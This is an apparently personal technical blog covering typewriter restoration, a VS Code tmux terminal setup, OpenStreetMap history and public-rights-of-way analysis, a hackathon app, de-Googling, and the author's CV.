Making, or rather fixing mistakes, is quite the pain. The previous owner evidently used liquid correction fluid as the typewriter was liberally decorated with white spots when I first acquired it. Luckily some isopropyl alcohol made short work of removing it (and giving me a headache). I’ve had some success using a correction roller (like these), but it’s a pain to scroll the paper up and down to apply it. It is also very easy to apply too much or too little, as your hand and the applicator cover up what you are trying to correct. A method I’ve yet to try is using correction tabs, which are little bits of plastic coated with white ink. You use them by backspacing over the offending character, then striking it again through the tab, whiting it out. I’ve put far too much thought into this, given I’m perfectly happy to just cross out my mistakes and just be mildly infuriated.

One thing that strikes me as particularly ingenious is how the shift works. There are two characters on each striker, with the bottoms being lowercase, and the tops uppercase. Pressing the shift keys physically “shifts” the carriage up, meaning the top of the hammer strikes the paper. Instead of having a “Caps Lock” key like we’d expect today, you have a “Shift Lock”, meaning that you can’t type any characters from the bottom half of the strikers, like numbers and most punctuation without unlocking the shift first.

You have to be careful to keep the force that you use to press the keys fairly consistent, as otherwise you get some characters that are light and others that are too bold. There is an adjustable switch under the cover that supposedly lets you adjust the force, but in my experience it seems to make little difference – you have to press quite hard and sharp whatever position it is in.

In addition to removing the blobs of correction fluid, I also had to clean quite a lot of residual dried ink off the hammers. This presumably just builds up over time with usage, and was quite difficult to remove. I had good luck with a couple of cocktail sticks that were just about small enough to get the dirt out the middle of the “e”. Doing this greatly improved the evenness and overall legibility of the text.

Persistent terminals in VS Code with tmux

Sat, 12 Mar 2022 21:33:01 +0000

Since I’ve started using VS Code over SSH, I’ve encountered the slight irritation that the session will drop when I suspend my laptop. This is to be expected, as the underlying TCP connection can’t survive without regular keepalives. Restarting the remote session means that I lose the integrated terminals that I have open, meaning I have to go through and type out yarn dev or go run again. What is particularly annoying is that the previously running programs will continue in the background, so I have to go and manually kill them before I can work again.

The standard way to work around these sorts of problems is to use a terminal multiplexer, such as the venerable GNU Screen, or the slightly more modern tmux. A terminal multiplexer is a program that allows you to open multiple terminals in one window, and will persist these sessions even if your SSH connection drops. I’ve previously used these for things like running game servers¹, and they also work great with VS Code – meaning you are able to restart your VS Code session, and all your terminals will be in the same state.

You can set up VS Code to use a custom command to open a new terminal window. Here is what I have in my settings.json file:

{
 "terminal.integrated.profiles.linux": {
 "bash": null,
 "tmux": {
 "path": "bash",
 "args": ["-c", "tmux new -ADs ${PWD##*/}"],
 "icon": "terminal-tmux",
 },
 },
 "terminal.integrated.defaultProfile.linux": "tmux",
}

This creates a new terminal profile called tmux, and sets it as the default profile – meaning whenever you open the integrated terminal, it will run the command specified. In this case it runs bash, with the command tmux new -ADs ${PWD##*/}. This will create a new tmux session with the name of the current working directory, or attach to an existing session if one exists. The -D flag ensures that only one terminal is connected to a session at a time. The way that this works for me is that I will then have tmux sessions for each of my workspace folders, then when needed I will create extra tabs in the tmux sessions.

There is a bit of jankiness here, in that instead of just running tmux new -ADs ${workspaceFolderBasename}, we have to use a shell parameter expansion. This is because in a multi-folder workspace, ${workspaceFolderBasename} doesn’t respect the folder I selected to open the terminal in – it always uses the folder of the currently open file. We can emulate what I think ${workspaceFolderBasename} should return using ${PWD##*/}, which produces the basename of the current working directory. This produces the desired effect of a separate tmux session for each of my workspace folders.

I still use this setup when I’m working in VS Code locally, as it means I can close it when done for the day, and then when I reopen it the next day I’ll still have all my terminals open. One amusing side effect of this workflow is that it seems to prevent the OOM killer from closing my terminal sessions, only striking down VS Code itself.

You will probably want to configure tmux a little to make it more usable, like rebinding the prefix to Ctrl+a (set -g prefix C-a) and turning on mouse mode (set -g mouse on). One thing to watch out for with mouse mode is that it will use tmux’s copy paste buffers, which are still a bit of a mystery to me. Luckily if you hold shift while selecting text it bypasses tmux’s buffers, so you can Ctrl+c Ctrl+v like usual.

Specifically for Minecraft. You can use a more standard approach like a systemd service, but Minecraft servers sometimes need to be controlled via their stdin. ↩︎

Visual Studio Code over SSH

Sat, 18 Dec 2021 15:20:00 +0000

I’ve recently had an opportunity to do some work away from home. I’ve never worked on anything other than my desktop PC before. I do have a decently capable laptop, but it has limited RAM and storage – and hence it is not really suited to running multiple Node.js servers and various Docker containers; let alone the significant faff to get everything set up on my laptop as it is on my desktop PC.

To suit this end, Visual Studio Code has a very nice feature that I’ve been appreciating – you can connect to a remote instance of VS Code running on any machine you can SSH into. All of this happens automatically, just install the Remote - SSH extension, add a target in the “Remote Explorer”, and it will install an instance of VS Code on the remote machine. As soon as it has downloaded some files, you will be working on your remote machine just as if it were local.

You can open terminals, and they will be on the remote machine, as you’d expect. It even does some stdout parsing to automatically forward ports to your local machine when you run a server. All of this makes for an impressively seamless experience. The only small bit of jank is that you need to install extensions you already have locally on the remote, but the button to replicate your local set practically remediates this.

It works on pretty tiny machines. This is being written on a VPS in Italy with a single vCPU and 1GB of RAM. The disk requirements are likewise pretty minimal, only taking up ~360MB, most of which is two (?) Node.js binaries. Writing some markdown and running hugo -D is something my laptop is capable of, so this is a bit of a pointless use case, but I think the technology is really cool.

Complicated history

Sun, 20 Jun 2021 11:41:00 +0000

I’ve been working on a tool that takes an OpenStreetMap history file and creates a database with every version of the way that has existed. On the surface it looks like you just need to save each of the ways versions, but it is a little more nuanced than this. OSM’s data structure doesn’t make this very convenient. Ways get a new version number whenever nodes are added or removed from them – but do not if their component nodes change location. For example if you have a building, you can move the entire building by moving its existing constituent nodes, without creating a new version of the way.

This means that to get all geometries of a way you first have to cache which nodes make up a way in each of its versions, then check if these nodes get a new version in between each of the ways versions, so that you can store the ways geometries where just nodes moved. Ideally for my use case, the way would be updated whenever one of its nodes moves, and instead of a way containing a list of references to node ids, the reference would be to a specific version of that node¹. This would make it much simpler to piece together all of the geometries that a way has had, as you wouldn’t have to solve the non trivial problem of figuring out which versions of nodes made up the way at that time.

Granted for the much more common usecase of just looking at a single point in OSM history, it is trivial to generate a snapshot of OSM data – you just have to take the latest version of every non-deleted element before your desired time. This can be done nicely using osmium-tool’s time-filter command.

2022-08 edit

So I realised this is actually a bit more complicated than I previously thought. With relations there is a similar issue to ways – you can move or update the underlying members of a relation, without updating the relation itself.

For example if a building with a courtyard is represented by a multipolygon relation, you can change the landuse of the courtyard, without creating a new version of the relation. This is because the tags only change on the courtyard way, not the relation itself. You will get a new relation version if you change the tags on the relation, alter the members, or change the roles of members.

This would probably have a slightly undesirable side-effect: big relations (like country boundaries) would get versioned each time they are adjusted, leading to extremely high version numbers. ↩︎

Measuring PRoW completeness

Wed, 12 May 2021 11:46:43 +0000

Recently I stumbled upon on a page on the OpenStreetMap wiki which details some of the significant non-volunteer sources for OSM’s data (and takes an amusingly long time to load). Near the bottom I discovered that Dorset (my Local Authority) publishes an OGLv3 licensed dataset of public rights of way (PRoWs) within its boundaries, including public footpaths, bridleways, restricted byways, and the rare BOAT (byway open to all traffic). These, somewhat confusingly, do not directly overlap with OpenStreetMap’s normal tagging schemes, as a PRoW may be part of a service road, residential road or a cycleway for example. To address this need another wiki page details a schema for tagging this extra information, using designation=public_${xyz} and prow_ref=${yzx}.

Looking at the shapefile in QGIS I found that quite a significant number of the paths had not been added to OSM. I think a large part of the disparity is due to that a significant portion of the rights of way are not in a usable state, or a more convenient permissive route is present. However, I think it is still important to include this data in OpenStreetMap as more paths to explore is always good. When I find one such unusable path, usually by looking at the Strava Heatmap I tend to map the route anyway and then add highway=no to indicate that the route is impassable. When the chosen route of the public deviates a little from the public footpath I will tend to adjust the official route to the well used one, especially if it is obvious that the definitive version is unusable. If the actual footpath is far away from where it should be I normally draw the actual route seperate from the right of way, tagging both respectively.

In order to help me determine which PRoWs were missing I used QGIS to analyse the data, with the following methodology (bear in mind I am a complete amateur at GIS):

Download the .osm.pbf file for Dorset from Geofabrik, for comparing it to the PRoW dataset.
Use osmium to filter the .pbf to only include specify highway tags that are likely to support a PRoW, such as highway=footway, highway=service, highway=residential and so on.
Import the datasets into QGIS, reprojecting into a different CRS if necessary.
Use the points along geometry tool to place points at a regular interval (I used 25m) on both the OSM and PRoW datasets. This is to ensure that straight sections of line still contain vertices, which is important for the next step of analysis.
Employ the hub to hub distance tool to find the nearest node in OSM from each node in the PRoW, which is done by setting the PRoWs as the source, and OSM as the destination. We can’t use the join attributes by nearest tool for this as it works based on line centeroids, which may be completely different in the datasets. For example, if a public footpath begins halfway up the length of a residential road and then they end at the same point, their centeroids will be quite far apart, despite their significant overlap and hence will not conflate.
Add a virtual layer, I called mine missing_prow_list. This will allow you to write arbitrary SQL to create a list of the missing PRoWs route codes. I ended up using something like the below – this will select any rights of way which are on average more than 40m away from a highway=* in OSM:
```
SELECT route_code, AVG(hub_to_hub_dist) as avg_hub_dist,
FROM prow_dataset_distances
GROUP BY route_code
HAVING avg_hub_dist > 40;
```

Use another virtual layer to get the actual geometries out of the original PRoW lines, using a join:

SELECT route_code, designation, geometry
FROM prow_dataset
INNER JOIN missing_prow_list
ON missing_prow_list.route_code = prow_dataset.route_code

Select your second virtual layer in QGIS and export it as a shapefile. This can then be imported into JOSM, or any editor of your choice, then manually merged into OpenStreetMap after being tagged up appropriately; hint, this is by far the hardest step.
Job done :)

This method is not perfect as it will miss smaller footpaths (such as those that join two roads only a short distance apart) and hence it is more useful for rural areas. On the other hand it seems to rarely produce false positives.

Ideally when OSM has further matured this will become simpler, as we could just compare the list of PRoW route codes to the prow_ref=* tags. Unfortunately it seems a significant amount of PRoWs haven’t been given this tag yet, meaning it is not yet viable due to the number of false positives.

Let me know if you have any ideas on how to compare OSM to other datasets :)

ecothon!

Fri, 12 Feb 2021 11:46:43 +0000

demo

Last weekend I took part in a hackathon with 3 of my housemates. We decided to make a social network app that inspires people to live a more eco-concious lifestyle. It has a concept of achievements, which are simple changes or tasks that people can make to reduce their environmental impact.

You can either privately complete an achievement, or publicly create a post linked to that specific achievement. Either of these will add to your “carbon score”, which is displayed on a leaderboard against people you are following.

You can also like and comment on posts, or view a map of where posts were made from. As you can see we don’t get out of the house much…

The app opens to a feed, showing all the posts that have been made in your area. These are normally associated with an image, but it is possible to make a post without one.

how it works

The app itself was made using Flutter, a cross platform UI toolkit – theoretically it should work on mobile, desktop and web. However we only tested it on Android, and I’m not sure quite how theoretical Flutter’s support for the others is.

We made the backend in Go, using go-fiber as a framework. None of us had properly used Go before and it was a good introduction to it. I really like it so far, other than having to get used to things that would take one line on Python take up 2 or more, to handle functions returning error alongside their results. There is the obvious upside to this that you actually have to think about handling these errors, encouraging correct code. It also means Go is unencumbered by exceptions being thrown all over the place, part of why it is so fast.

The backend is hosted on Digital Ocean, as I happened to have $100 of free credit. I set up Github actions to automatically build a docker image and push it to Digital Ocean’s container registry. The workflow then logs into their Kubernetes platform, deploying the new version by updating the config so that the latest push to master is deployed.

We run two nodes in the cluster, with traffic split between them using a load balancer (which is completely unnecessary for the level of traffic). User images are uploaded to their equivalent of S3, and the data is all stored in a MongoDB instance hosted by Atlas. As I’d never used it before, setting up Kubernetes was a fairly large learning curve, but tutorials like this one really helped get us up and running fairly quickly.

github repository

You can see the repository here, or even try it out if you are feeling brave – you can download an APK from the Github releases.

De-Googling myself

Wed, 09 Sep 2020 12:36:38 +0100

A couple of years ago I decided that it would be a great idea if I tried to remove as much Google from my life as possible. I think the reason behind this is that I was slightly afraid as to what Google was getting up to with my data, but also I enjoy fiddling with hosting my own stuff. Google’s expansive software graveyard isn’t exactly a big selling point either. Using Firefox was an obvious first step, as it works just as well as Chrome for me, and I think multiple different browser engines are an important part of keeping the web open and accessible for everyone.

The easiest thing for me to give up was Google Search. One day I set DuckDuckGo to my default in Firefox and pretty much never had any problems with it. Very occasionally I’ll struggle to find something, and I’ll use the Google bang (!g <search term>) to get there.

The first big step in the purge was GMail. I can imagine for most people this would probably be the worst part, simply because changing your email address – something you’ve probably been using for years – is a massive pain. After some research I settled on FastMail as a provider, due to their support for wildcard addresses. I like to give each website/service I sign up for a different email, for example reddit@example.com or microsoft@example.com – this means if a company decides to send me spam, all I have to do is to send all email for that address to the bin. Another benefit of this approach is that you can create mail sorting rules in a foolproof way, i.e. if a business starts to use another domain for its emails they will still make their way into their correct IMAP folders. Its not the cheapest service, and I don’t think paid email is for everyone, but it presents enough value for me (although I am considering moving to Migadu).

Something that I’ve struggled with is Google Photos. Irritatingly this is probably the most invasive service that Google provides – other than maybe the always-on location tracking. Its just so convenient for me, I use it to store all pictures ever taken my anyone¹ in my family. It also provides some piece of mind, just as another backup. I’d happily self host a solution like it, just as far as I know nothing quite like it exists yet.

Plex has the ability to display photo libraries, but it feels like a bit of a second class feature compared to the meat of their product – self hosting your film and television à la Netflix. Rather irritatingly the automatic photo upload feature is paywalled, but its not a massive problem as I use Syncthing to achieve a similar result. Apparently its syncing is a little half baked anyway. This has become a more pressing issue now that Google is going to start limiting uploads to Photos, even though it’ll probably take me a year or so to fill my quota.

YouTube was also difficult. It would really make me happy to avoid it, but it currently has no real competitors, which I think is something that will become more of a problem in the years to come. I suppose the end goal is something like PeerTube, which is a federated streaming platform, with its own users providing a CDN for its content. However I’m not entirely sure that that model is sustainable enough to compete with a giant like Google, as the amount of storage required is still massive.

With Android I have come to a compromise, using LineageOS instead of the stock ROM on my phone. I also much prefer using F-Droid whenever possible over the Google Play Store, but I haven’t gone as far to completely avoid Google Play Services yet. MicroG seems like a good solution, but I haven’t gotten round to testing it out yet.

This is not something I’d recommend for everyone, simply because it is not really worth the struggle of detangling yourself from Google’s tentacles, unless its something that you really believe is important. I’ll probably update² this page eventually with my progress, which has rather depressingly slowed recently.

Even the slightly scary childhood videos ↩︎
2021-02-22: I added sections about Google Photos alternatives ↩︎

Visualising OpenStreetMap changes at a macro scale

Sun, 30 Aug 2020 12:17:38 +0100

the problem

One of the most satisfying things for me, as a contributor to OSM, is to see how my changes have improved the map for everyone. There currently are a number of ways to achieve this, which primarily focus on the micro level, for example a single changeset (such as OSMCha). These are very useful for checking for things like vandalism, and simply just showing what that changeset did to nodes, ways & relations. On the other hand, I’ve yet to find something that lets me see what has happened in an area over a greater time period.

the goal (with hindsight…)

In an ideal world, I can picture a screen with two maps, with one on top of the other, each with a date picker. There would be a slider which can be moved from one side to the other to show the differences between them. This layout is inspired by the currently out of service OSM Then and Now, which goes some of the way towards a solution, but the data shown is too old to be useful for me.

a partial solution

viability

In OpenStreetMap people contribute through a system called changesets. These effectively group together a number of alterations (additions, edits, deletions) to the data structures of OSM, and can be thought of as analogous to git commits. These changesets can then be combined in the order of their creation to create an up to date version of the database.

Therefore, it is possible to recreate the database of any point in time by ignoring any changesets that were authored after that point, which can be done using a tool such as osmium.

implementation

I followed a method similar to the one in this post, however, after filtering the history file to the desired time, I imported it into Postgres (using osm2psgl).

Once I had everything in Postgres I first tried to use the nik4 tool, which worked as described. However, it wasn’t really built for my usecase; for example, I had to manually create an image for each location I wanted to compare. It also wasn’t great for directly comparing old tiles to the current ones.

Therefore, I decided that it’d be best to just create a full on slippy map, using the normal stack, a-la switch2osm. This gave me pretty much a full recreation of how the map at openstreetmap.org looked at the time period I picked.

Using the Leaflet library to display these tiles, I followed an example from Mapbox on how you can overlay two different maps with a slider. I also added two pieces of text to illustrate which side was which.

You can see the result at https://maps.honeyfox.uk (which only works for the UK). This will likely be very impermanent, as I don’t really have the means to host it – the database and tileserver are currently on my desktop PC, with an SSH tunnel up to my VPS.

failures

This solution partially meets my goal. Ideally you’d be able to set the specific date that each side of the map displayed, but as far as I’m aware there is no way to achieve that without having to drop the database and re-import everything from the other time period. The map stack I’m using (postgres/postgis/mapnik/renderd/mod_tile/apache2 - bit of a mouthful) isn’t really designed to display anything but the latest version of the data, as typically that’s all you’d really need.

conclusion

I think this would be a valuable tool to help motivate contributors if the implementation was improved. I’d really appreciate any suggestions or advice on how to achieve this.

late 2022 update

In July 2021, I made some upgrades to this demo, but never got round to updating this post. It is still running at https://osm-history.george.honeywood.org.uk.

Instead of showing just one set of old tiles, it shows the state every year between 2007 and 2022. As rendering the tiles live requires a beefy server, I used a script to download the tiles for each year I wanted, making everything static. This only works because I only wanted to render a relatively small area – when you increase the area, the amount of tiles you need to download grows exponentially. This demo is now just a bunch of $year/$z/$x/$y.pngs I serve using nginx on my little VPS.

Departing from the technical details, you can see my contributions begin in 2019. My initial prompt to start editing OSM was that a new build estate near my house was missing from the map (you can see it appear here in 2019).

In some years there aren’t many changes. In others a lot of stuff is changed – between 2010 and 2011, all the roads and residential areas were added. From then all is quiet until 2018, when most of the houses were drawn in. Someone¹ gave Ferndown Golf Club an excellent makeover in 2022, adding all the hole numbers, greens, fairways and bunkers. I can and have spent ages looking at this visualization. Something about it is extremely satisfying to me.

One day I hope to make something like this that can scale up globally, or at least to a national scale.

I would never map something like this myself. This is part of the beauty of OSM – people map the things they care about. I’d never map a golf course partially because I know nothing about golf, and partially because I vaguely disapprove of it as a landuse. There are currently three 18-hole courses within 3 km of my parent’s house (there used to be 4!). ↩︎

This blog

Sat, 29 Aug 2020 19:08:45 +0100

I’m going to use this blog to write about random things I care about. It may or may not turn out well – it must have gone at least a little well if you are reading this.

For anyone interested, this website is created using Hugo, which is a static site generator. I used to have a blog made using Wordpress, which was a bit overkill for my needs and I got bored of writing stuff for it about a month in, so it died the slow death that I’m sure this one will have to endure. Hugo seems to be a much more elegant solution for this, and I like being able to write all my stuff in VSCode, keep it safe in my own git repo, and avoid having to host another database.

To be fair to Wordpress, setting it up when I was 15 was a good learning experience. I somehow managed to fumble through the instructions, probably leaving some fairly large security holes behind me. I think a version of it might still be in the Wayback Machine if you ever have the unpleasant experience of stumbling upon it.

We’ll see where this goes I guess ~

CV

Mon, 01 Jan 0001 00:00:00 +0000

George Honeywood

Computer Scientist, Royal Holloway graduate. Currently working as an Infrastructure Assistant at GSA Capital.

(CV also available as a PDF.)

Experience

Infrastructure Assistant

GSA Capital

Sep 2023 — Present

London

Maintaining and monitoring internal infrastucture, including an extensive Linux estate, VMware cluster and Slurm compute cluster.
Promptly and professionally handling a wide range of internal user queries, across OS support, cluster compute, networking, and desktop support.
Config management via Puppet and Terraform.
Automation in Python, streamlining existing processes.
Datacenter work, racking & patching servers and appliances.

Junior Software Engineer

Cudo

Jul 2021 — Jul 2022

Bournemouth, Dorset

Helped develop their first Go microservice, as part of an agile team. This reduced risk exposure when exchanging user balances.
Added metrics to track performance data, using Prometheus and Grafana.
Worked on their Vue.js web app and Loopback-based API, fixing long-standing bugs and issues in the platform.
Implemented a Docker based testing workflow to ensure correctness in database interactions.

Junior Systems Administrator

Royal Holloway Physics Dept.

Oct 2019 — Jul 2021

Egham, Surrey

Helped with migration from legacy Nagios monitoring system to Icinga, to ensure service continuity.
Installed & imaged rack mounted servers for use within a Hadoop compute cluster.

References available on request.

Education

B.Sc. Computer Science (Year in Industry), 1st

Royal Holloway, University of London

Sep 2019 — Jul 2023

Egham, Surrey

Final Year Project: offline HTML5 map viewer app. I implemented a TypeScript parser for the binary Mapsforge file format, along with a HTML canvas-based map renderer.
Studied modules including: Software Language Engineering, Functional Programming, User-Centred Design, Multi-Agent Systems, Databases, and Operating Systems.

A-Levels

Bournemouth School Sixth Form

Sep 2017 — Aug 2019

Bournemouth, Dorset

Computer Science (B), Geography (B), Resistant Materials (C), and Physics (D)

Projects

Web Music Player

Created a Spotify-like online music player for your private music collection, with a Go backend and a Vue frontend. Has an album artwork view, and you can queue up songs.

The Good Map

Collaboratively developed a cross-platform mobile app in Flutter, to allow users to find ecofriendly establishments, using data from OpenStreetMap.

Employee Appraisal System

University project, worked as part of a 4-person team to create a web app, designed to evaluate employees of a company.
Developed an API in Flask to conform to a Requirements Specification and Design Description.

Hackathons

Pub Hub: collaborated on a tool designed to find the optimal route for a pub crawl, providing a solution for the travelling salesman problem.
Metamap: developed a location based social media app for Android, with the concept of only showing posts within a certain radius of the user.

Homelab

I administrate a headless server which hosts utilities and storage for my home network. It runs Proxmox VE as a hypervisor, with ZFS to provide storage. Each service runs in a separate LXC container, which provides some isolation, without the overhead of full VMs.
I also use a small VPS to run other services, like my personal website (that you are currently viewing!) and a WireGuard®︎ VPN.

Interests

Using and contributing to free & open-source software
Editing OpenStreetMap, using JOSM or Every Door

George Honeywood's blog

Proper Hugo Typst support

Typst + Hugo

Bodging a brouter

A typewriter five ways

1. cat

2. stty

3. scrolling

4. netcat

5. tty

ZFS snapshots and how to sync them

a few days later

a few weeks later

Typst

Breaking into your Tenda PA6 Powerline adaptor

Building an offline web map

OpenStreetMap data

Performance considerations

Mapsforge file format

Rendering

Range requests and service worker abuse

History of the Jane Holloway Swimming Pool

Ignominious end for Victorian swimming pool?

The Roomba

Olympia Traveller de Luxe

Persistent terminals in VS Code with tmux

Visual Studio Code over SSH

Complicated history

2022-08 edit

Measuring PRoW completeness

ecothon!

demo

how it works

github repository

De-Googling myself

Visualising OpenStreetMap changes at a macro scale

the problem

the goal (with hindsight…)

a partial solution

viability

implementation

failures

conclusion

late 2022 update

This blog

CV

George Honeywood

Experience

Infrastructure Assistant

Junior Software Engineer

Junior Systems Administrator

Education

B.Sc. Computer Science (Year in Industry), 1st

A-Levels

Projects

Web Music Player

The Good Map

Employee Appraisal System

Hackathons

Homelab

Interests

1. `cat`

2. `stty`

4. `netcat`

5. `tty`